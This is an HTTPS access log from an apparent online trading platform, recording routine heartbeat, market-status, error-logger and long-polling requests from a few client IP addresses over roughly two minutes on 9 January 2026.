[09/Jan/2026:11:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930015995 HTTP/1.1" -
[09/Jan/2026:11:35:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930019380 HTTP/1.1" -
[09/Jan/2026:11:35:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:35:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930019032 HTTP/1.1" -
[09/Jan/2026:11:35:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930021019 HTTP/1.1" -
[09/Jan/2026:11:35:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:35:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:35:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:35:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:35:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930024574 HTTP/1.1" -
[09/Jan/2026:11:35:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930024067 HTTP/1.1" -
[09/Jan/2026:11:35:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930026071 HTTP/1.1" -
[09/Jan/2026:11:36:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930029646 HTTP/1.1" -
[09/Jan/2026:11:36:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930029109 HTTP/1.1" -
[09/Jan/2026:11:36:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930031111 HTTP/1.1" -
[09/Jan/2026:11:36:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930034813 HTTP/1.1" -
[09/Jan/2026:11:36:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930034179 HTTP/1.1" -
[09/Jan/2026:11:36:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930036157 HTTP/1.1" -
[09/Jan/2026:11:36:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930039944 HTTP/1.1" -
[09/Jan/2026:11:36:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930039237 HTTP/1.1" -
[09/Jan/2026:11:36:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930041193 HTTP/1.1" -
[09/Jan/2026:11:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930045079 HTTP/1.1" -
[09/Jan/2026:11:36:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:36:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:36:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930044311 HTTP/1.1" -
[09/Jan/2026:11:36:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930046244 HTTP/1.1" -
[09/Jan/2026:11:36:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:36:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930050197 HTTP/1.1" -
[09/Jan/2026:11:36:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930049393 HTTP/1.1" -
[09/Jan/2026:11:36:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:36:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930051267 HTTP/1.1" -
[09/Jan/2026:11:36:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:36:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:36:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930055322 HTTP/1.1" -
[09/Jan/2026:11:36:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930054423 HTTP/1.1" -
[09/Jan/2026:11:36:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930056303 HTTP/1.1" -
[09/Jan/2026:11:36:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930060377 HTTP/1.1" -
[09/Jan/2026:11:36:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930059451 HTTP/1.1" -
[09/Jan/2026:11:36:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930061361 HTTP/1.1" -
[09/Jan/2026:11:36:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930065501 HTTP/1.1" -
[09/Jan/2026:11:36:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930064515 HTTP/1.1" -
[09/Jan/2026:11:36:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930066399 HTTP/1.1" -
[09/Jan/2026:11:36:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930070652 HTTP/1.1" -
[09/Jan/2026:11:36:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930069584 HTTP/1.1" -
[09/Jan/2026:11:36:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930071428 HTTP/1.1" -
[09/Jan/2026:11:36:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:36:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:36:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930075792 HTTP/1.1" -
[09/Jan/2026:11:36:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930074615 HTTP/1.1" -
[09/Jan/2026:11:36:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930076465 HTTP/1.1" -
[09/Jan/2026:11:36:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:36:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930079694 HTTP/1.1" -
[09/Jan/2026:11:36:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:36:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930081230 HTTP/1.1" -
[09/Jan/2026:11:36:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930081495 HTTP/1.1" -
[09/Jan/2026:11:36:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:36:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:36:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:36:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930084724 HTTP/1.1" -
[09/Jan/2026:11:36:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930086337 HTTP/1.1" -
[09/Jan/2026:11:36:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930086540 HTTP/1.1" -
[09/Jan/2026:11:37:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930089751 HTTP/1.1" -
[09/Jan/2026:11:37:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930091622 HTTP/1.1" -
[09/Jan/2026:11:37:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930091406 HTTP/1.1" -
[09/Jan/2026:11:37:07 +0800] 65.55.210.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767930095067 HTTP/1.1" 3188
[09/Jan/2026:11:37:07 +0800] 65.55.210.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:37:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930094856 HTTP/1.1" -
[09/Jan/2026:11:37:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930096663 HTTP/1.1" -
[09/Jan/2026:11:37:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930096686 HTTP/1.1" -
[09/Jan/2026:11:37:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930099927 HTTP/1.1" -
[09/Jan/2026:11:37:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930101721 HTTP/1.1" -
[09/Jan/2026:11:37:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930101810 HTTP/1.1" -
[09/Jan/2026:11:37:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:37:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:37:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930105029 HTTP/1.1" -
[09/Jan/2026:11:37:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930106748 HTTP/1.1" -
